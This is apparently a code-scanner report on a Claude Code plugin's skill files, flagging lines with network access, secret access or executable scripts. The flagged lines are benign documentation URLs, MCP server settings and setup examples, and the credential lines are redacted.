| ----------------- | ---------------------------------------------------------------------------- | -------------------------------------------------------------------------------------- | | Extended Thinking | `https://platform.claude.com - Network accessline 27
| Extended Thinking | `https://platform.claude.com/docs/en/build-with-claude/extended-thinking.md` | "Extract extended thinking parameters, budget_tokens requirements, and usage examples" | - Network accessline 28
| Adaptive Thinking | `https://platform.claude.com/docs/en/build-with-claude/adaptive-thinking.md` | "Extract adaptive thinking setup, effort levels, and Claude Opus 5 usage examples" | - Network accessline 29
| Effort Parameter | `https://platform.claude.com/docs/en/build-with-claude/effort.md` | "Extract effort levels, cost-quality tradeoffs, and interaction with thinking" | - Network accessline 30
| Tool Use | `https://platform.claude.com/docs/en/agents-and-tools/tool-use/overview.md` | "Extract tool definition schema, tool_choice options, and handling tool results" | - Network accessline 31
| Streaming | `https://platform.claude.com/docs/en/build-with-claude/streaming.md` | "Extract streaming event types, SDK examples, and best practices" | - Network accessline 32
| Prompt Caching | `https://platform.claude.com/docs/en/build-with-claude/prompt-caching.md` | "Extract cache_control usage, pricing benefits, and implementation examples" | - Network accessline 36
| Topic | URL | Extraction Prompt | | ----------- | ------------------------------------------------------------------- - Network accessline 37
| ----------- | ---------------------------------------------------------------------- | ----------------------------------------------------------------- | | Vision | `https://platform.claude.com/docs/en/build-with-claude/vision.md` - Network accessline 38
| Vision | `https://platform.claude.com/docs/en/build-with-claude/vision.md` | "Extract supported image formats, size limits, and code examples" | - Network accessline 39
| PDF Support | `https://platform.claude.com/docs/en/build-with-claude/pdf-support.md` | "Extract PDF handling capabilities, limits, and examples" | - Network accessline 43
| Topic | URL | Extraction Prompt | | ---------------- | -------------- - Network accessline 44
| ---------------- | --------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------- | | Batch Processing | `https://platf - Network accessline 45
| Batch Processing | `https://platform.claude.com/docs/en/build-with-claude/batch-processing.md` | "Extract batch API endpoints, request format, and polling for results" | | Files API | `https://platf - Network accessline 46
| Files API | `https://platform.claude.com/docs/en/build-with-claude/files.md` | "Extract file upload, download, and referencing in messages, including supported types and beta header" | - Network accessline 47
| Token Counting | `https://platform.claude.com/docs/en/build-with-claude/token-counting.md` | "Extract token counting API usage and examples" | - Network accessline 48
| Rate Limits | `https://platform.claude.com/docs/en/api/rate-limits.md` | "Extract current rate limits by tier and model" | - Network accessline 49
| Errors | `https://platform.claude.com/docs/en/api/errors.md` | "Extract HTTP error codes, meanings, and retry guidance" | - Network accessline 50
| Amazon Bedrock | `https://platform.claude.com/docs/en/build-with-claude/claude-on-amazon-bedrock.md` | "Extract the AnthropicBedrockMantle client per language, `anthropic.`-prefixed model IDs, auth paths, feature availability, and regio - Network accessline 51
| Claude Platform on AWS | `https://platform.claude.com/docs/en/build-with-claude/claude-platform-on-aws.md` | "Extract the AnthropicAWS client per language, SigV4 auth, credential precedence, short-term API keys, workspace_id, and region r - Network accessline 52
| Claude Platform on AWS — IAM actions | `https://platform.claude.com/docs/en/api/claude-platform-on-aws-iam-actions.md` | "Extract the IAM action names, resource ARNs, and policy examples required for each API capability" | - Network accessline 56
| Topic | URL | Extraction Prompt | | -------------- | ---------------------- - Network accessline 57
| -------------- | -------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------- | | Code Execution | `https://platform.clau - Network accessline 58
| Code Execution | `https://platform.claude.com/docs/en/agents-and-tools/tool-use/code-execution-tool.md` | "Extract code execution tool setup, file upload, container reuse, and response handling" | - Network accessline 59
| Computer Use | `https://platform.claude.com/docs/en/agents-and-tools/tool-use/computer-use.md` | "Extract computer use tool setup, capabilities, and implementation examples" | - Network accessline 60
| Bash Tool | `https://platform.claude.com/docs/en/agents-and-tools/tool-use/bash-tool.md` | "Extract bash tool schema, reference implementation, and security considerations" | - Network accessline 61
| Text Editor | `https://platform.claude.com/docs/en/agents-and-tools/tool-use/text-editor-tool.md` | "Extract text editor tool commands, schema, and reference implementation" | - Network accessline 62
| Memory Tool | `https://platform.claude.com/docs/en/agents-and-tools/tool-use/memory-tool.md` | "Extract memory tool commands, directory structure, and implementation patterns" | - Network accessline 63
| Tool Search | `https://platform.claude.com/docs/en/agents-and-tools/tool-use/tool-search-tool.md` | "Extract tool search setup, when to use, and cache interaction" | - Network accessline 64
| Programmatic Tool Calling | `https://platform.claude.com/docs/en/agents-and-tools/tool-use/programmatic-tool-calling.md` | "Extract PTC setup, script execution model, and tool invocation from code" | - Network accessline 65
| Skills | `https://platform.claude.com/docs/en/agents-and-tools/skills.md` | "Extract skill folder structure, SKILL.md format, and loading behavior" | - Network accessline 69
| Topic | URL | Extraction Prompt | | ------------------ | ------------------------------------------------------------ - Network accessline 70
| ------------------ | ----------------------------------------------------------------------------- | --------------------------------------------------- | | Structured Outputs | `https://platform.claude.com/docs/en/build-with-claude/struc - Network accessline 71
| Structured Outputs | `https://platform.claude.com/docs/en/build-with-claude/structured-outputs.md` | "Extract output_config.format usage and schema enforcement" | - Network accessline 72
| Compaction | `https://platform.claude.com/docs/en/build-with-claude/compaction.md` | "Extract compaction setup, trigger config, and streaming with compaction" | - Network accessline 73
| Context Editing | `https://platform.claude.com/docs/en/build-with-claude/context-editing.md` | "Extract context editing thresholds, what gets cleared, and configuration" | - Network accessline 74
| Citations | `https://platform.claude.com/docs/en/build-with-claude/citations.md` | "Extract citation format and implementation" | - Network accessline 75
| Context Windows | `https://platform.claude.com/docs/en/build-with-claude/context-windows.md` | "Extract context window sizes and token management" | - Network accessline 81
| Topic | URL | Extraction Prompt | | --------------------- | ------- - Network accessline 82
| --------------------- | -------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------- | | Overview | `https: - Network accessline 83
| Overview | `https://platform.claude.com/docs/en/managed-agents/overview.md` | "Extract the high-level architecture and how agents/sessions/environments/vaults fit together" | - Network accessline 84
| Quickstart | `https://platform.claude.com/docs/en/managed-agents/quickstart.md` | "Extract the minimal end-to-end agent → environment → session → stream code path" | - Network accessline 85
| Agent Setup | `https://platform.claude.com/docs/en/managed-agents/agent-setup.md` | "Extract agent create/update/list-versions/archive lifecycle and parameters" | - Network accessline 86
| Define Outcomes | `https://platform.claude.com/docs/en/managed-agents/define-outcomes.md` | "Extract outcome definitions, evaluation hooks, and success criteria configuration" | - Network accessline 87
| Sessions | `https://platform.claude.com/docs/en/managed-agents/sessions.md` | "Extract session lifecycle, status transitions, idle/terminated semantics, and resume rules" | - Network accessline 88
| Environments | `https://platform.claude.com/docs/en/managed-agents/environments.md` | "Extract environment config (cloud/networking), management endpoints, and reuse model" | - Network accessline 89
| Self-Hosted Sandboxes | `https://platform.claude.com/docs/en/managed-agents/self-hosted-sandboxes.md` | "Extract config:{type:self_hosted}, ANTHROPIC_ENVIRONMENT_KEY, EnvironmentWorker.run/run_one, beta_agent_toolset, ant beta:worker p - Network accessline 90
| Self-Hosted Sandboxes — Security | `https://platform.claude.com/docs/en/managed-agents/self-hosted-sandboxes-security.md` | "Extract what the customer owns (hardening, egress, key custody, trust boundaries) vs what Anthropic cannot do" | - Network accessline 91
| Events and Streaming | `https://platform.claude.com/docs/en/managed-agents/events-and-streaming.md` | "Extract event stream types, stream-first ordering, reconnect/dedupe, and steering patterns" | - Network accessline 92
| Tools | `https://platform.claude.com/docs/en/managed-agents/tools.md` | "Extract built-in toolset, custom tool definitions, and tool result wire format" | - Network accessline 93
| Files | `https://platform.claude.com/docs/en/managed-agents/files.md` | "Extract file upload, mount paths, session resources, and listing/downloading session outputs" | - Network accessline 94
| Permission Policies | `https://platform.claude.com/docs/en/managed-agents/permission-policies.md` | "Extract permission policy types (allow/deny/confirm) and per-tool config" | - Network accessline 95
| Multi-Agent | `https://platform.claude.com/docs/en/managed-agents/multiagent-orchestration.md` | "Extract multi-agent composition patterns, sub-agent invocation, and result handoff" | - Network accessline 96
| Observability | `https://platform.claude.com/docs/en/managed-agents/observability.md` | "Extract logging, tracing, and usage telemetry exposed by managed agents" | - Network accessline 97
| Webhooks | `https://platform.claude.com/docs/en/managed-agents/webhooks.md` | "Extract webhook endpoint registration, HMAC signature verification, supported event types, and delivery semantics" | - Network accessline 98
| GitHub | `https://platform.claude.com/docs/en/managed-agents/github.md` | "Extract github_repository resource shape, multi-repo mounting, and token rotation" | - Network accessline 99
| MCP Connector | `https://platform.claude.com/docs/en/managed-agents/mcp-connector.md` | "Extract MCP server declaration on agents and vault-based credential injection at session" | - Network accessline 100
| Vaults | `https://platform.claude.com/docs/en/managed-agents/vaults.md` | "Extract vault create, credential add/rotate, OAuth refresh shape, and archive" | - Network accessline 101
| Skills | `https://platform.claude.com/docs/en/managed-agents/skills.md` | "Extract skill packaging and loading model for managed agents" | - Network accessline 102
| Memory | `https://platform.claude.com/docs/en/managed-agents/memory.md` | "Extract memory resource shape, scoping, and lifecycle" | - Network accessline 103
| Onboarding | `https://platform.claude.com/docs/en/managed-agents/onboarding.md` | "Extract first-run setup, prerequisites, and account/region requirements" | - Network accessline 104
| Cloud Containers | `https://platform.claude.com/docs/en/managed-agents/cloud-containers.md` | "Extract cloud container runtime, image config, and network/storage knobs" | - Network accessline 105
| Migration | `https://platform.claude.com/docs/en/managed-agents/migration.md` | "Extract migration paths from earlier APIs/preview shapes to GA managed agents" | - Network accessline 111
| Topic | URL | Extraction Prompt | | ------------- | --------------------------------------------- - Network accessline 112
| ------------- | ------------------------------------------------------- | -------------------------------------------------------------------------------------------------- | | Anthropic CLI | `https://platform.claude.com/docs/en/api/sdks - Network accessline 113
| Anthropic CLI | `https://platform.claude.com/docs/en/api/sdks/cli.md` | "Extract CLI install, authentication, command structure, and the beta:agents/environments/sessions commands" | - Network accessline 114
| Authentication overview | `https://platform.claude.com/docs/en/manage-claude/authentication.md` | "Extract the credential options (API keys, interactive OAuth login, Workload Identity Federation) and when to use each" | - Network accessline 115
| WIF reference | `https://platform.claude.com/docs/en/manage-claude/wif-reference.md` | "Extract credential precedence order, the profile configuration file schema, and the configuration directory layout" | - Network accessline 123
| SDK | URL | Extraction Prompt | | ---------- | ----------------------------- - Network accessline 124
| ---------- | -------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------- | | Python | `https://github.com/anthropic - Network accessline 125
| Python | `https://github.com/anthropics/anthropic-sdk-python` | "Extract beta managed-agents namespaces, classes, and method signatures (`client.beta.agents`, `client.beta.sessions`)" | - Network accessline 126
| TypeScript | `https://github.com/anthropics/anthropic-sdk-typescript` | "Extract beta managed-agents namespaces, classes, and method signatures (`client.beta.agents`, `client.beta.sessions`)" | - Network accessline 127
| Java | `https://github.com/anthropics/anthropic-sdk-java` | "Extract beta managed-agents classes, builders, and method signatures (`client.beta().agents()`, `BetaManagedAgents*`)" | - Network accessline 128
| Go | `https://github.com/anthropics/anthropic-sdk-go` | "Extract beta managed-agents types and method signatures (`client.Beta.Agents`, `BetaManagedAgents*` event types)" | - Network accessline 129
| Ruby | `https://github.com/anthropics/anthropic-sdk-ruby` | "Extract beta managed-agents methods and parameter shapes (`client.beta.agents`, `client.beta.sessions`)" | - Network accessline 130
| C# | `https://github.com/anthropics/anthropic-sdk-csharp` | "Extract beta managed-agents classes and method signatures (NuGet package, `BetaManagedAgents*` types)" | - Network accessline 131
| PHP | `https://github.com/anthropics/anthropic-sdk-php` | "Extract beta managed-agents classes and method signatures (`$client->beta->agents`, `BetaManagedAgents*` params)" | - Network accessline 139
| SDK | URL | Extraction Prompt | | ------------------ - Network accessline 141
| Python (0.x → 1.x) | `https://github.com/anthropics/anthropic-sdk-python/blob/main/MIGRATION.md` | "Extract every breaking change with its before/after code, the new minimum Python version, and the upgrade command" |
harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/shared/managed-agents-api-reference.md
- Network accessline 250
"type": "url", "name": "github", "url": "https://api.githubcopilot.com/mcp/" - Network accessline 251
"name": "github", "url": "https://api.githubcopilot.com/mcp/" } - Network accessline 252
"url": "https://api.githubcopilot.com/mcp/" - Network accessline 279
{ "type": "github_repository", "url": "https://github.com/owner/repo (required)", - Network accessline 280
[Credential-related source omitted] - Network accessline 281
"url": "https://github.com/owner/repo (required)", - Network accessline 445
Managed Agents endpoints have per-organization request-per-minute (RPM) limits, separate from your [Messages API token limits](https://platform.claude.com/docs/en/api/rate-limits). Model inference inside a session still draws from your orga - Network accessline 453
Files and Skills endpoints use the standard tier-based [rate limits](https://platform.claude.com/docs/en/api/rate-limits).
harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/shared/managed-agents-client-patterns.md
- Network accessline 5
Code samples are TypeScript — other languages follow the same shape; see `{lang}/managed-agents/README.md` (cURL and C#: `curl/managed-agents.md`) for equivalents.
harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/shared/managed-agents-core.md
- Network accessline 50
Every session has a live trace view in the Anthropic Console at `https://platform.claude.com/workspaces/{workspace}/sessions/{session_id}`. Print this URL immediately after creating a session so the user can watch tool calls and messages st - Network accessline 129
> 💡 **Watch it live in Console.** While developing, print a link so you can click through to the session UI instead of parsing the event stream: `https://platform.claude.com/workspaces/{workspace}/sessions/{session.id}`. Use `default` for ` - Network accessline 353
{"type": "mcp_toolset", "mcp_server_name": "linear"}, ], "mcp_servers": [{"type": "url", "name": "linear", "url": "https://mcp.linear.app/sse"}], - Network accessline 354
], "mcp_servers": [{"type": "url", "name": "linear", "url": "https://mcp.linear.app/sse"}], }, - Network accessline 355
"mcp_servers": [{"type": "url", "name": "linear", "url": "https://mcp.linear.app/sse"}],
harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/shared/managed-agents-environments.md
- Network accessline 149
model: 'claude-opus-5', mcp_servers: [ { type: 'url', name: 'github', url: 'https://api.githubcopilot.com/mcp/' }, - Network accessline 150
mcp_servers: [ { type: 'url', name: 'github', url: 'https://api.githubcopilot.com/mcp/' }, ], - Network accessline 151
{ type: 'url', name: 'github', url: 'https://api.githubcopilot.com/mcp/' }, - Network accessline 166
{ type: 'github_repository', url: 'https://github.com/owner/repo', - Network accessline 167
[Credential-related source omitted] - Network accessline 168
url: 'https://github.com/owner/repo', - Access to secretsline 169
[Credential-related source omitted] - Network accessline 185
"type": "url", "name": "github", "url": "https://api.githubcopilot.com/mcp/", - Network accessline 186
"name": "github", "url": "https://api.githubcopilot.com/mcp/", }], - Network accessline 187
"url": "https://api.githubcopilot.com/mcp/", - Network accessline 199
resources=[{ "type": "github_repository", "url": "https://github.com/owner/repo", - Network accessline 200
[Credential-related source omitted] - Network accessline 201
"url": "https://github.com/owner/repo", - Access to secretsline 202
[Credential-related source omitted]
harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/shared/managed-agents-events.md
- Network accessline 52
> ⚠<U+FE0F> **Robust polling (raw HTTP).** If you bypass the SDK and roll your own poll loop, don't rely on `requests` or `httpx` timeouts as wall-clock caps — they're **per-chunk** read timeouts, reset every time a byte arrives. A trickling respo
harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/shared/managed-agents-memory.md
- Network accessline 199
For cURL examples and the CLI (`ant beta:memory-stores ...`), WebFetch the Memory URL in `shared/live-sources.md` → Managed Agents.
harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/shared/managed-agents-multiagent.md
- Network accessline 89
The sections below are the reference for rosters, threads, events, and client-side handling; the platform guide is `https://platform.claude.com/docs/en/managed-agents/multiagent-orchestration.md`. - Network accessline 257
For per-language bindings beyond Python, WebFetch `https://platform.claude.com/docs/en/managed-agents/multiagent-orchestration.md` (see `shared/live-sources.md`).
harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/shared/managed-agents-onboarding.md
- Network accessline 73
**Block 2 — Runtime (every invocation; conversational and Outcome shapes).** SDK code in the detected language (Python/TS/cURL — SKILL.md → Language Detection); don't emit shell loops here: - Network accessline 75
1. Load `agent_id` + `env_id` from config/env 2. `sessions.create(agent=AGENT_ID, environment_id=ENV_ID, resources=[...], vault_ids=[...])`, then print the Console URL so the user can watch live: `https://platform.claude.com/workspaces/defa - Network accessline 76
2. `sessions.create(agent=AGENT_ID, environment_id=ENV_ID, resources=[...], vault_ids=[...])`, then print the Console URL so the user can watch live: `https://platform.claude.com/workspaces/default/sessions/{session.id}` (swap `default` for - Network accessline 82
Pull exact syntax from `{lang}/managed-agents/README.md` for your detected language (cURL and C#: use `curl/managed-agents.md` as the wire-level reference). Don't invent field names.
harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/shared/managed-agents-outcomes.md
- Network accessline 108
For the raw HTTP shapes and per-language SDK bindings beyond Python, WebFetch `https://platform.claude.com/docs/en/managed-agents/define-outcomes.md` (see `shared/live-sources.md`).
harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/shared/managed-agents-overview.md
- Network accessline 32
**Which beta header goes where:** The SDK sets `managed-agents-2026-04-01` automatically on `client.beta.{agents,environments,sessions,vaults,memory_stores,deployments,deployment_runs}.*` calls, and `files-api-2025-04-14` / `skills-2025-10- - Network accessline 70
- **Stream to get events** — `GET /v1/sessions/{id}/events/stream` is the primary way to receive agent output in real-time. - **SSE stream has no replay — reconnect with consolidation** — if the stream drops while a `agent.tool_use`, `agent - Network accessline 71
- **SSE stream has no replay — reconnect with consolidation** — if the stream drops while a `agent.tool_use`, `agent.mcp_tool_use`, or `agent.custom_tool_use` is pending resolution (`user.tool_confirmation` for the first two, `user.custom_t - Network accessline 72
- **Don't trust HTTP-library timeouts as wall-clock caps** — `requests` `timeout=(c, r)` and `httpx.Timeout(n)` are *per-chunk* read timeouts; they reset every byte, so a trickling connection can block indefinitely. For a hard deadline on r
harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/shared/managed-agents-scheduled-deployments.md
harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/shared/managed-agents-self-hosted-sandboxes.md
- Access to secretsline 9
[Credential-related source omitted] - Access to secretsline 40
[Credential-related source omitted] - Access to secretsline 41
[Credential-related source omitted] - Access to secretsline 42
[Credential-related source omitted] - Access to secretsline 46
[Credential-related source omitted] - Access to secretsline 60
[Credential-related source omitted] - Access to secretsline 84
[Credential-related source omitted] - Access to secretsline 92
[Credential-related source omitted] - Access to secretsline 107
[Credential-related source omitted] - Access to secretsline 108
[Credential-related source omitted] - Access to secretsline 110
[Credential-related source omitted] - Access to secretsline 121
[Credential-related source omitted] - Access to secretsline 131
[Credential-related source omitted] - Access to secretsline 145
[Credential-related source omitted] - Access to secretsline 169
[Credential-related source omitted]
harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/shared/managed-agents-tools.md
- Network accessline 163
{ "mcp_servers": [ { "type": "url", "name": "linear", "url": "https://mcp.linear.app/mcp" } - Network accessline 164
"mcp_servers": [ { "type": "url", "name": "linear", "url": "https://mcp.linear.app/mcp" } ], - Network accessline 165
{ "type": "url", "name": "linear", "url": "https://mcp.linear.app/mcp" } - Access to secretsline 200
[Credential-related source omitted] - Network accessline 228
"auth": { "type": "mcp_oauth", "mcp_server_url": "https://mcp.notion.com/mcp", - Network accessline 229
[Credential-related source omitted] - Network accessline 230
"mcp_server_url": "https://mcp.notion.com/mcp", - Access to secretsline 231
[Credential-related source omitted] - Network accessline 234
[Credential-related source omitted] - Network accessline 235
"client_id": "<your OAuth client_id>", "token_endpoint": "https://api.notion.com/v1/oauth/token", "token_endpoint_auth": { "type": "none" } - Network accessline 236
"token_endpoint": "https://api.notion.com/v1/oauth/token", - Access to secretsline 248
[Credential-related source omitted] - Access to secretsline 249
[Credential-related source omitted] - Access to secretsline 262
[Credential-related source omitted]
harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/shared/model-migration.md
- Network accessline 452
Haiku 4.5 has its own rate-limit pool separate from Haiku 3 / 3.5. If you're ramping traffic as you migrate, check your tier's Haiku 4.5 limits at [API rate limits](https://platform.claude.com/docs/en/api/rate-limits) — a quota that comfort - Network accessline 503
If the code uses the `AnthropicBedrockMantle` client (Python `anthropic[bedrock]`, TypeScript `@anthropic-ai/bedrock-sdk`, Java `BedrockMantleBackend`, Go `bedrock.NewMantleClient`, etc.) or targets `https://bedrock-mantle.{region}.api.aws/ - Network accessline 521
If the code uses `AnthropicAWS` / `AnthropicAws` / `anthropicaws.NewClient` / `AnthropicAwsClient` (or targets `https://aws-external-anthropic.{region}.api.aws`), it is running on **Claude Platform on AWS** — Anthropic-operated, same-day AP
harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/shared/models.md
harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/shared/tool-use-concepts.md
- Network accessline 99
Set a `max_continuations` limit (e.g., 5) to prevent infinite loops. For the full guide, see: `https://platform.claude.com/docs/en/build-with-claude/handling-stop-reasons` - Network accessline 219
- URL: `https://platform.claude.com/docs/en/agents-and-tools/tool-use/programmatic-tool-calling` - Network accessline 229
- URL: `https://platform.claude.com/docs/en/agents-and-tools/tool-use/tool-search-tool` - Network accessline 312
model="claude-opus-5", max_tokens=1024, betas=["mcp-client-2025-11-20"], mcp_servers=[{"type": "url", "url": "https://example/sse", "name": "example-mcp"}], - Network accessline 313
betas=["mcp-client-2025-11-20"], mcp_servers=[{"type": "url", "url": "https://example/sse", "name": "example-mcp"}], tools=[{"type": "mcp_toolset", "mcp_server_name": "example-mcp"}], - Network accessline 314
mcp_servers=[{"type": "url", "url": "https://example/sse", "name": "example-mcp"}], - Network accessline 332
- URL: `https://platform.claude.com/docs/en/agents-and-tools/tool-use/implement-tool-use` - Network accessline 342
- URL: `https://platform.claude.com/docs/en/agents-and-tools/computer-use/overview` - Network accessline 354
- URL: `https://platform.claude.com/docs/en/build-with-claude/context-editing` - Network accessline 419
- Docs: `https://platform.claude.com/docs/en/agents-and-tools/tool-use/memory-tool.md` - Network accessline 435
| Language | Declaration | |---|---| | Python / TypeScript / Ruby / cURL | plain object `{"type": "bash_20250124", "name": "bash"}` | - Network accessline 436
|---|---| | Python / TypeScript / Ruby / cURL | plain object `{"type": "bash_20250124", "name": "bash"}` | | Go | `anthropic.ToolUnionParam{OfBashTool20250124: &anthropic.ToolBash20250124Param{}}` | - Network accessline 437
| Python / TypeScript / Ruby / cURL | plain object `{"type": "bash_20250124", "name": "bash"}` | - Network accessline 523
- URL: `https://platform.claude.com/docs/en/agents-and-tools/tool-use/overview`
harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/shared/vendor-guide.md
- Network accessline 22
1. **The official Anthropic SDK** for the project's language (`anthropic`, `@anthropic-ai/sdk`, `com.anthropic.*`, etc.). This is the default whenever a supported SDK exists for the project. 2. **Raw HTTP** (`curl`, `requests`, `fetch`, `ht - Network accessline 23
2. **Raw HTTP** (`curl`, `requests`, `fetch`, `httpx`, etc.) — only when the user explicitly asks for cURL/REST/raw HTTP, the project is a shell/cURL project, or the language has no official SDK. - Network accessline 27
**Never guess SDK usage.** Function names, class names, namespaces, method signatures, and import paths must come from explicit documentation — either the `{lang}/` files in this skill or the official SDK repositories or documentation links - Network accessline 102
Every SDK language above supports both the beta Tool Runner and Managed Agents (beta) — Python (`@beta_tool` decorator), TypeScript (`betaZodTool` + Zod), Java (annotated classes), Go (`BetaToolRunner` in the `toolrunner` pkg), Ruby (`BaseT - Network accessline 189
**Partner pricing:** The prices above are Anthropic first-party API rates — they also apply to Claude on Microsoft Foundry, which is billed through the Microsoft Marketplace at standard API rates. Claude on Amazon Bedrock and Vertex AI is p - Access to secretsline 213
[Credential-related source omitted] - Access to secretsline 215
[Credential-related source omitted] - Network accessline 217
- **SDK code or `ant` CLI:** just run it. The zero-arg client constructor and every `ant …` subcommand pick up the profile automatically — no env var needed. - **Raw `curl` / HTTP:** get a short-lived token with `ant auth print-credentials - Network accessline 218
[Credential-related source omitted] - Access to secretsline 220
[Credential-related source omitted] - Network accessline 289
| C# | `Betas = ["fast-mode-2026-02-01"]` | `Speed = Speed.Fast` (`Anthropic.Models.Beta.Messages`) | | PHP | `betas: ['fast-mode-2026-02-01']` | `speed: 'fast'` | | cURL | `anthropic-beta: fast-mode-2026-02-01` header | `"speed": "fast"` i - Network accessline 291
| cURL | `anthropic-beta: fast-mode-2026-02-01` header | `"speed": "fast"` in body | - Access to secretsline 343
[Credential-related source omitted] - Access to secretsline 462
[Credential-related source omitted] - Network accessline 470
**All SDK languages use the same multi-file layout** — directory `{lang}/claude-api/` containing `README.md` (install, client init, basic request, thinking, caching, stop details, misc), `tool-use.md` (tool definitions, agentic loop, Anthro
harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/typescript/claude-api/README.md
- Access to secretsline 21
[Credential-related source omitted] - Network accessline 96
{ type: "image", source: { type: "url", url: "https://example.com/image.png" }, - Network accessline 97
type: "image", source: { type: "url", url: "https://example.com/image.png" }, }, - Network accessline 98
source: { type: "url", url: "https://example.com/image.png" },
harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/typescript/claude-api/tool-use.md
- Network accessline 493
- `https://github.com/anthropics/anthropic-sdk-typescript/blob/main/examples/tools-helpers-memory.ts`
harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/typescript/managed-agents/README.md
- Network accessline 3
> **Bindings not shown here:** This README covers the most common managed-agents flows for TypeScript. If you need a class, method, namespace, field, or behavior that isn't shown, WebFetch the TypeScript SDK repo **or the relevant docs page - Access to secretsline 19
[Credential-related source omitted] - Network accessline 68
); console.log(session.id, session.status); console.log(`Trace: https://platform.claude.com/workspaces/default/sessions/${session.id}`); // swap 'default' for your workspace ID if the API key is not in the Default workspace - Network accessline 70
console.log(`Trace: https://platform.claude.com/workspaces/default/sessions/${session.id}`); // swap 'default' for your workspace ID if the API key is not in the Default workspace - Network accessline 105
{ type: "github_repository", url: "https://github.com/owner/repo", - Network accessline 106
type: "github_repository", url: "https://github.com/owner/repo", mount_path: "/workspace/repo", - Network accessline 107
url: "https://github.com/owner/repo", - Access to secretsline 109
[Credential-related source omitted] - Network accessline 341
model: "claude-opus-5", mcp_servers: [ { type: "url", name: "my-tools", url: "https://my-mcp-server.example.com/sse" }, - Network accessline 342
mcp_servers: [ { type: "url", name: "my-tools", url: "https://my-mcp-server.example.com/sse" }, ], - Network accessline 343
{ type: "url", name: "my-tools", url: "https://my-mcp-server.example.com/sse" },
harness/claude-code/plugins/open-horizons-platform/skills/foundry-hosted-agent-copilotkit/SKILL.md
- Network accessline 58
| Build generative UI | Return compact model-consumable data, not rich formatting. | Render rich content in `useRenderToolCall` or the CopilotKit render map. | Confirm rendering while streaming and after stream end. | | Share agent state | - Network accessline 60
| Debug stream failures | `curl -N` the AG-UI endpoint with a minimal `RunAgentInput` body. | Inspect browser console and network after backend stream is proven good. | Compare raw SSE events with rendered UI state. |
harness/claude-code/plugins/open-horizons-platform/skills/foundry-hosted-agent-copilotkit/references/architecture.md
- Network accessline 62
- **Architecture A/B**: run the FastAPI/ASP.NET service directly; point the CopilotKit runtime's `HttpAgent` at `http://localhost:<port>/`. - Network accessline 84
- Token audience is `https://ai.azure.com/.default` — the default `cognitiveservices.azure.com` scope yields 401 "audience is incorrect". - Keyless (Entra / `DefaultAzureCredential`) is the norm; the async Python credential path needs `aioh
harness/claude-code/plugins/open-horizons-platform/skills/foundry-hosted-agent-copilotkit/references/deploy-loop.md
- Network accessline 41
Deploy the AG-UI endpoint (Architecture A/C service, or rely on the hosted invocations endpoint for B) where the CopilotKit runtime can reach it server-side; set the runtime's agent URL env var accordingly. Keep auth keyless (Entra) with th
harness/claude-code/plugins/open-horizons-platform/skills/foundry-hosted-agent-copilotkit/references/hitl.md
- Network accessline 24
**`.NET`** uses a different mechanism than Python's wrapper flag: wrap the tool in `ApprovalRequiredAIFunction`, then wrap the *agent* in a `DelegatingAIAgent` that bridges approval content to/from the `request_approval` client tool call (t - Network accessline 105
**Root cause (isolated by calling the hosted agent's bare `/responses` endpoint with curl — no AG-UI, no CopilotKit in the loop):** chaining `previous_response_id` through a response that resolved an `mcp_approval_response` makes the hosted
harness/claude-code/plugins/open-horizons-platform/skills/foundry-hosted-agent-copilotkit/references/troubleshooting.md
- Network accessline 9
1. `curl -N -X POST <agui-endpoint> -H 'Content-Type: application/json' -d '<minimal RunAgentInput>'` — read raw AG-UI SSE events. Reproduces → frontend innocent. - Network accessline 36
| Symptom | Root cause | Fix | | --- | --- | --- | | 401 "audience is incorrect" | Token requested with default `cognitiveservices.azure.com` scope | Request scope `https://ai.azure.com/.default` | - Network accessline 37
| --- | --- | --- | | 401 "audience is incorrect" | Token requested with default `cognitiveservices.azure.com` scope | Request scope `https://ai.azure.com/.default` | | 403 `Microsoft.MachineLearningServices/workspaces/agents/action` despit - Network accessline 38
| 401 "audience is incorrect" | Token requested with default `cognitiveservices.azure.com` scope | Request scope `https://ai.azure.com/.default` |
harness/claude-code/plugins/open-horizons-platform/skills/github-cli/scripts/setup-github-app.sh
- Executable scriptline 1
#!/bin/bash - Network accessline 61
$(basename "$0") --github-org myorg --app-name myorg-backstage \\ --homepage-url https://backstage.example.com \\ - Network accessline 62
--homepage-url https://backstage.example.com \\ - Network accessline 63
--callback-url https://backstage.example.com/api/auth/github/handler/frame \\ - Network accessline 67
$(basename "$0") --github-org myorg --app-name myorg-backstage \ --homepage-url https://backstage.example.com \ - Network accessline 68
--homepage-url https://backstage.example.com \ - Network accessline 69
--callback-url https://backstage.example.com/api/auth/github/handler/frame \ - Network accessline 73
$(basename "$0") --github-org myorg --app-name myorg-argocd \\ --homepage-url https://argocd.example.com \\ - Network accessline 74
--homepage-url https://argocd.example.com \\ - Network accessline 75
--callback-url https://argocd.example.com/api/dex/callback \\ - Network accessline 248
log_warning "GitHub Apps must be created via web UI:" echo "" echo "1. Go to: https://github.com/organizations/${GITHUB_ORG}/settings/apps/new" - Network accessline 249
echo "" echo "1. Go to: https://github.com/organizations/${GITHUB_ORG}/settings/apps/new" echo "" - Network accessline 250
